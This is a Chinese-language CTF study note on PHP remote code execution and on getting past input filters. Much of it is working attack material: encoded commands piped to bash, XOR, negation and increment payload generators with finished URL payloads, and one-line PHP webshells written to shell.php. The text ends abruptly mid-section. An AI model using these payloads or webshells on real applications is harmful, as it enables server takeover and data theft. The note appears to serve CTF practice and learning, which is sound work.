RCE学习

时间:2024-05-02 19:35:51

从最近的xyctf中,最大的感受就是自己的rce基础并不牢固,所以马上来恶补一下

漏洞成因

php和其他语言有很多能够执行系统命令或执行其他php代码的函数,因为开发者的使用不当,使得用户能够控制传递给执行命令的函数的参数,那么就用可能被用来执行恶意命令,接下来的学习以ctf中最常用的php来学习

利用方法

命令注入

执行系统命令的函数和方法

执行的结果都是以字符串返回,执行失败返回空,区别是能不能直接回显

函数 描述
system($cmd) 可以直接回显
shell_exec($cmd) 不直接回显,配合echo等才能看到结果
passthru($cmd) 可直接回显
exec($cmd) 不能直接回显,配合echo等才能看到结果
`$cmd`(shell_exec的变种) 系统命令用反引号包裹,也能执行,不能直接回显

linux也通过echo ,输入输出重定向,来写入一句话木马

代码注入

利用一些php函数来执行系统命令

1.eval

rce中最常用的函数,将php代码以字符串形式传入,显示执行结果,代码结束要加;

2.preg_replace()

preg_replace(‘正则规则’,‘要替换的字符’,‘目标字符’)

正则规则中使用\e修饰符,php会被后面要替换的字符当作php代码执行, 如:

在这里插入图片描述

php7的匹配正则模式不能由get传入,但php5可以

在这里插入图片描述

3.create_function()

在这里插入图片描述

如图,create_function()可以创建动态函数,$args是参数,$code具体动态函数的要执行的代码,用eval执行,所以完全可以拿来写一句话

<?PHP $func=create_function('',$_POST['cmd']);$func();?>

4.call_user_func

!在这里插入图片描述

在这里插入图片描述

5.call_user_func_array

用法同call_user_func,只是后面传的参数要是数组

6.array_map

array_map( c a l l b a c k , callback, callback,array),对传入的array数组的每个元素,应用传入的$callback回调函数

在这里插入图片描述

7.array_filter

array_filter( a r r a y , array, array,callback),对 a r r a y 数组用 array数组用 array数组用callback函数过滤掉一些元素,用法与array_map相近,只是参数顺序相反

8.popen

#利用方式
$handle=popen('ls','r');echo fread($handle,2096); 

9.proc_open

用popen的升级版,用起来比popen稍微复杂,将命令作为单独的进程执行,并控制其输入、输出和错误管道

#原始
// 要执行的命令
$test = "whoami";
// 用于设置进程管道的数组
$array = array(
    array("pipe", "r"), // 标准输入管道
    array("pipe", "w"), // 标准输出管道
    array("pipe", "w")  // 标准错误输出管道
);
// 执行命令并创建进程
$fp = proc_open($test, $array, $pipes);
// 从标准输出管道中读取数据并打印
echo stream_get_contents($pipes[1]);
// 关闭进程
proc_close($fp);
#压缩去掉换行
$test="whoami";$array=array(array("pipe","r"),array("pipe","w"),array("pipe","w"));$fp=proc_open($test,$array,$pipes);echo stream_get_contents($pipes[1]);proc_close($fp);

命令注入绕过

题目的重点都是如何绕过过滤

过滤命令关键字

其他命令平替

1.使用其他查看文件的命令绕过,比如过滤cat

常见平替:

tac,less,more,nl,head,tail

还有其他命令可以读取文件:

命令 描述
vim ,vi /flag 编辑器 后跟文件,也能显示出内容
od -c 或 -a /flag 读取二进制数据,加-a或-c,就会输出常见字符
sort,unqiue /flag 排序去重命令都会显示文件内容
file -f ,date -f , dig -f /flag 利用报错读出文件内容
sh /flag 2>%261 也是利用报错,但是要把错误输出重定向到标准输出流,如果get传输要url编码&
strings /flag strings 读取二进制文件中的可打印字符
rev /flag 逆序输出
paste /flag paste用于合并文件内容,只有一个文件也可以
diff /flag /etc/passwd diff用于比较文本内容,会显示各个文本的内容,需要一个已知文件

单用base64 /flag,也可以得到flag

date 是查看时间的命令,但是date -f 可以利用它的报错信息读取文件,

在这里插入图片描述

dig -f 也可以

!在这里插入图片描述

但是在php的system中,date-f读不出来,但是 dig -f可以

过滤ls

dir在ubuntu也可以扫描目录,但在其他环境可能报 command not found

无效转义

在命令的字符中添加' " \ $@,不影响命令的执行,单双引号要加两个

在这里插入图片描述
·

编码

1.十六进制编码

用xxd工具,xxd有两个选项,-r可以把十六进制数据转为二进制,-p则是以 postscript plain hexdump 风格(易于阅读和打印)输出数据,配合管道符传递给shell,就可以执行命令

在这里插入图片描述

在这里插入图片描述

echo 636174202f666c6167 | xxd -r -p|bash

或者用shell的内联执行

$(printf '\x63\x61\x74\x20\x2f\x66\x6c\x61\x67') 

在这里插入图片描述

2.八进制编码

$(printf '\143\141\164\040\057\146\154\141\147')
$(echo '\143\141\164\040\057\146\154\141\147')

3.base64编码,32也行,配合管道符

echo "Y2F0IC9mbGFn"|base64 -d|bash
echo "MNQXIIBPMZWGCZY="|base32 -d|bash 
echo 'ZWNobyAnPD89QGV2YWwoJF9QT1NUW2NtZF0pPz4nID4gc2hlbGwucGhw'|base64 -d|bash #写入一句话

变量引用

把要执行的命令都每个单词从,拆开几个部分用一个变量定义,使用时拼接在一起

a=l;b=s;c=/;$a$b $c ->ls /
a=ca;b=t;c=/fl;d=ag;$a$b $c$d ->cat /flag

在这里插入图片描述

很明显这个方法;不能被过滤

过滤关键文件名

使用通配符

具体例子使用可上网搜索

  • *,匹配一个或多个字符 ,如:cat /f*

  • ?,匹配一个字符,如:cat /fla?

  • […] ,匹配指定范围内的字符,如:cat /[e-g][k-m]?[e-h] 或/[e-g][k-m][0-b][e-h],[@-z]匹配所有字母,有时a被过滤可用

过滤空格

${IFS}

${IFS}绕过,${IFS}在linux的环境变量中代表空格 如cat${IFS}/flag

重定向

如cat</flag

!在这里插入图片描述

%09

%09就是制表符,url解码后传给php就和空格差不多,如:cat%09/flag

过滤/

逻辑符号拼接命令

有一些题目是代码本身会执行一些正常的命令(如ping),这时我们可以利用逻辑符号在后面拼接我们注入的命令

linux命令中,逻辑符号的作用如下:

cmd1 & cmd2:两个命令同时在后台执行,前面的是否执行成功不影响后续命令执行

cmd1 && cmd2:按顺序先后执行命令,输出结果,前面的失败后面也无法执行

cmd1 | cmd2:| 是管道符,用于把前面命令的结果作为变量输入到后面的命令,如果后面命令用不到,且正常执行不报错

那就正常执行后面的命令,如:

在这里插入图片描述

前面的执行失败不影响后面执行

cmd1 || cmd2:前面的命令执行失败才会执行后面的命令,否则后面的命令不执行

cmd1;cmd2:顺序执行命令

过滤了/,就可以用命令连接符号,多次cd跳转到根目录执行操作

cd ..;cd ..;cd ..;lscd ..%26%26cd ..%26%26cd ..%26%26ls

截取环境变量

没有过滤 $ {}时可以使用

$HOME 环境变量 就是/用户名,截取第一个就是/

在这里插入图片描述

$0可以表示bash

代码注入相关绕过

过滤system

如果是代码注入且过滤了system,可以尝试:

其他函数

使用其他可以执行命令的函数如:passthru,shell_exec,但是没有回显,配合echo,print,var_dump使用

或者使用php内置的扫描目录和读取文件的函数。如:

扫描目录:scandir
读取文件:file_get_contents , readfile , file ,highlight_file , show_source,
读取文件最后两个函数不用var_dump,其余都要

拼接执行

如:

(s.y.s.t.e.m)("whoami");
(s.y.s.t.e.m)('whoami');

php7才可以

编码

可以把php的函数名用八进制或十六进制编码,php7可以,动态执行函数

"\x73\x79\x73\x74\x65\x6d"("\x6c\x73"); -> system('ls')
"\163\171\163\164\145\155"("\154\163"); -> system('ls')

进制字符串要用双引号包裹,双引号中如果有变量,会解析变量,而单引号中不管是否有变量,都当作字符串

或者hex2bin

hex2bin('73797374656d')(hex2bin('636174202f666c6167')); #system('cat /flag')

过滤引号

可以用参数逃逸,这个方法也能用在过滤很多关键字的情况,如

?a=system($_GET[b]);&b=cat /flag
?a=$_GET[b]($_GET[c]);&b=system&c=cat /flag

在这里插入图片描述

使用反引号,如

?a=echo `ls`;

无数字字母

如果题目过滤了常规的数字和字母,就要使用其他一些运算方法,在执行php代码前先进行一定运算,

把一些不可见字符的二进制数据,通过一些数学运算,算出字母和数字,再执行

异或

使用大佬的两个配套脚本,如:

<?php
    // 打开一个文件用于写入,如果文件不存在则创建该文件
    $myfile=fopen("xor_rce.txt","w");
    // 初始化一个空字符串,用于存储生成的结果
    $contents="";
    // 循环遍历 0 到 255 的所有可能的字节值
    for($i=0;$i<256;$i++){
        for($j=0;$j<256;$j++){
            // 如果字节值小于 16,则将其转换为两位十六进制数,以便于 URL 编码
            if($i<16){
                $hex_i='0'.dechex($i);
            }
            else{
                $hex_i=dechex($i);
            }
            if($j<16){
                $hex_j='0'.dechex($j);
            }
            else{
                $hex_j=dechex($j);
            }
            // 定义用于匹配不允许的字符的正则表达式
            $preg='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';    // 根据题目给的正则表达式修改即可
            // 使用 URL 解码将十六进制转换为ascii码,然后检查是否存在不允许的字符
            if(preg_match($preg,hex2bin($hex_i))||preg_match($preg,hex2bin($hex_j))){
                echo ""; // 如果存在不允许的字符,则不做任何操作
            }
            else{
                // 
                $a='%'.$hex_i;
                $b='%'.$hex_j;
                $c=(urldecode($a)^urldecode($b));
                // 如果异或结果是可见字符,则将其的url编码,添加到结果字符串中
                if(ord($c)>=32&ord($c)<=126){
                    $contents=$contents.$c." ".$a." ".$b."\n";
                }
            }
        }
    }
    // 将结果字符串写入到文件中
    fwrite($myfile,$contents);
    // 关闭文件句柄
    fclose($myfile);
?>

两个ascii字符,分别0-255,进行异或运算,如果结果是可见字符且不符合设定的正则,添加这两个字符的url编码到文件字符中,

这样一来,就可以把可见字符,用两个不可见字符的异或来表示,如

在这里插入图片描述

当然,大佬还写了利用这个文件,生成payload的脚本

import requests
import urllib
from sys import *
import os

def action(arg):
    s1=""
    s2=""
    for i in arg:
        f=open("xor_rce.txt","r")
        while True:
            t=f.readline()
            if t=="":
                break
            if t[0]==i:
                # print(i)
                s1+=t[2:5]
                s2+=t[6:9]
                break
        f.close()
    output="(\""+s1+"\"^\""+s2+"\")"
    return(output)

while True:
    param=action(input("\n[+] your function: "))+action(input("[+] your command: "))+";"
    print('\n',param)

运行结果:

在这里插入图片描述

所以payload即为

?a=("%0c%05%0c%08%05%0d"^"%7f%7c%7f%7c%60%60")("%0c%0c%00%00"^"%60%7f%20%2f");

在这里插入图片描述

取反

利用取反运算,这个可以不用大佬脚本,自己随便弄一下都行,如:

<?php
$php_code='system';
$cmd='ls /';
$arr=array($php_code,$cmd);
$res="(~".urlencode(~$php_code).")(~".urlencode(~$cmd).");";
echo $res;
#结果
%8F%97%8F%96%91%99%90
//phpinfo()->payload:
?a=(~%8F%97%8F%96%91%99%90)();
//system('ls /');->payload:
?a=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);

如果是post传参,用hackbar传过去url解码有问题,用bp就可以
在这里插入图片描述

自增

在 PHP 中,对一个字母型变量执行自增运算时,会将该字母转换为其 ASCII 码值,执行自增运算后再将结果转换回字母。具体来说,字母型变量的自增运算实际上是对其 ASCII 码值加一,然后将结果转换回字母。如:

在这里插入图片描述

我们可以通过不断的自增来获得想要的字符,eval可以执行php代码,把自增的代码传进去,得到想要的字符后,最后构造出能rce的样子

但是这是无数字字母,php代码中也不能含有字母,所以我们的自增起点要稍微变一下,如:

在这里插入图片描述

将空数组和字符串拼接时,php会把空数组转为字符串Array再去拼接,取出下标为0的字符,就是A,这里不能直接用0,而是用一个表达式''=='$',值为假,就会返回0,从而取到了字母A

然后开始自增,获得其他字母,得到$_GET$_POST,大佬脚本如下:

$_GET

<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
$_='_'.$_;//_GET
var_dump($_);
#$res="$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);"
?>

代码中 经 过两次自增和拼接,变为 ‘ _经过两次自增和拼接,变为` 过两次自增和拼接,变为_GET,所以最后可以利用的代码变为 G E T [ ] ( _GET[_]( GET[](GET[__]);,,__`传入payload即可

要把原始代码去掉换行,再url编码一下,最终payload

%24_%3D%5B%5D.%27%27%3B%24_%3D%24_%5B%27%27%3D%3D%27%24%27%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D%27_%27.%24_%3B%24%24_%5B_%5D%28%24%24_%5B__%5D%29%3B&_=system&__=ls /

在这里插入图片描述

无字母

其实就是利用八进制编码,这样构造的payload没有字母,由于我本地php测试总是失败,用一道题目来测试

源码:

<?php
highlight_file(__FILE__);
function waf($cmd){
    $white_list = ['0','1','2','3','4','5','6','7','8','9','\\','\'','$','<']; 
    $cmd_char = str_split($cmd);
    foreach($cmd_char as $char){
        if (!in_array($char, $white_list)){
            die("really ez?");
        }
    }
    return $cmd;
}
$cmd=waf($_GET["cmd"]);
system($cmd);

这题只允许白名单,白名单里只有数字,和一些特殊的字符,$,\,',很明显就是要八进制编码

$'\154\163' #ls

但是这样执行的命令无法加参数,要读取flag需要用到<,类似cat /flag

$'\143\141\164'<$'\057\146\154\141\147' 

在这里插入图片描述

这方面的详细知识可以看这篇大佬的文章:https://xz.aliyun.com/t/12242

无回显

如果用exec,这类没有回显的函数,可以考虑写一句话或者 ,把命令结果重定向或写入文件中

有写入权限

写入一句话木马,用到重定向符号:>

?a=echo%20%27<?%3Deval($_POST[cmd])?>%27%20>shell.php

在这里插入图片描述

tee 命令结果写入文件

要用到管道符:|

cat /flag | tee a

然后再去访问a即可,

无写入权限

可以尝试bash时间盲注 需要到:|

awk截取第一行内容:cat /flag | awk ==1

cut 截取第一列内容cat /flag | awk NR==1 | cut -c 1

在这里插入图片描述

不过一般题目中flag文件一般都只有一行,awk 可以省略,当然如果flag.php就不能省略了

获取文件的文本长度,行数

awk 'NR==1 { print length($0); exit }' /flag  #获取第一行的文本长度
awk